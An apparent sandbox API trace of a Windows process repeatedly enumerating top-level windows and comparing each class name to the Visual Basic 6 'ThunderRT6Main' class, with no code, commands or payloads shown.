	[0224.663] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0224.663] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0224.663] GetClassNameA (in: hWnd=0x10158, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0224.663] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0224.663] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0224.663] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0224.663] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0224.663] GetClassNameA (in: hWnd=0x90154, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0224.663] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0224.664] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0224.664] GetClassNameA (in: hWnd=0x10156, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.664] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0224.664] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0224.664] GetClassNameA (in: hWnd=0x50118, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0224.664] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0224.664] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0224.664] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.664] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0224.664] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0224.664] GetClassNameA (in: hWnd=0x20116, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0224.664] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.664] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0224.664] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0224.664] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.664] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0224.664] GetClassNameA (in: hWnd=0x10148, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0224.664] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0224.664] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0224.664] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0224.664] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.664] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0224.664] GetClassNameA (in: hWnd=0x10132, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0224.664] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0224.664] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0224.664] GetClassNameA (in: hWnd=0x10134, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.664] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.664] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0224.664] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0224.664] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0224.664] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.665] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0224.665] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.665] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.665] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0224.665] GetClassNameA (in: hWnd=0x10120, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0224.665] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.665] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0224.665] GetClassNameA (in: hWnd=0x10122, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.665] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.665] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0224.665] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.665] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.665] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0224.665] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.665] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0224.665] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0224.665] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.665] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0224.665] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0224.665] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.665] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0224.665] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.665] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0224.665] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.665] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.665] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0224.665] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.666] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0224.666] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0224.666] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.666] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0224.666] GetClassNameA (in: hWnd=0x20018, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0224.666] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0224.666] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0224.666] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.666] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0224.666] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0224.666] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0224.666] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0224.666] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0224.666] GetClassNameA (in: hWnd=0x20016, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.666] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0224.666] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0224.666] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0224.666] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0224.666] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0224.666] GetClassNameA (in: hWnd=0x20108, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.666] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0224.666] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0224.666] GetClassNameA (in: hWnd=0x10106, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.666] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0224.666] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0224.666] GetClassNameA (in: hWnd=0x10102, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.666] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.666] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0224.666] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.666] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.666] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0224.667] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0224.667] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0224.667] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.667] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0224.667] GetClassNameA (in: hWnd=0x10084, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.667] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0224.667] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082
	[0224.667] GetClassNameA (in: hWnd=0x10082, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.667] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.667] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e
	[0224.667] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
	[0224.667] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0224.667] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080
	[0224.667] GetClassNameA (in: hWnd=0x10080, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.667] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0224.667] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076
	[0224.667] GetClassNameA (in: hWnd=0x10076, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.667] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064
	[0224.667] GetClassNameA (in: hWnd=0x10064, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.667] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110
	[0224.667] GetClassNameA (in: hWnd=0x10110, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="#43") returned 3
	[0224.667] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0224.667] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112
	[0224.667] GetClassNameA (in: hWnd=0x10112, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.667] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.667] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0224.668] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060
	[0224.668] GetClassNameA (in: hWnd=0x10060, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
	[0224.668] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.668] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c
	[0224.668] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0224.668] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.668] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042
	[0224.668] GetClassNameA (in: hWnd=0x10042, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
	[0224.668] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.668] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e
	[0224.668] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
	[0224.668] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.668] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048
	[0224.668] GetClassNameA (in: hWnd=0x10048, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Dwm") returned 3
	[0224.668] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124
	[0224.668] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040
	[0224.668] GetClassNameA (in: hWnd=0x10040, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.668] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.668] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe
	[0224.668] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0224.668] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0224.668] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.669] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c
	[0224.669] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.669] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.669] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0224.669] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a
	[0224.669] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
	[0224.669] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
	[0224.669] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0224.669] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec
	[0224.669] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Progman") returned 7
	[0224.669] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
	[0224.669] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.669] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0
	[0224.669] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0faa50
	[0224.669] IMalloc:Free (This=0x7feffc15380, pv=0xc0faa50) 
	[0224.844] GetAsyncKeyState (vKey=27) returned 0
	[0224.844] GetCurrentThreadId () returned 0x8e8
	[0224.845] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0224.845] GetDesktopWindow () returned 0x10010
	[0224.845] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0224.845] GetClassNameA (in: hWnd=0x10140, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0224.845] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.845] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0224.845] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.845] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0224.845] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0224.845] GetClassNameA (in: hWnd=0x10138, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0224.845] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0224.845] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0224.845] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.845] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0224.845] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.845] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0224.845] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.845] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0224.845] GetClassNameA (in: hWnd=0x10072, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.845] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0224.845] GetClassNameA (in: hWnd=0x10070, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.845] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0224.845] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.845] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0224.845] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.845] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0224.846] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.846] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0224.846] GetClassNameA (in: hWnd=0x10078, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
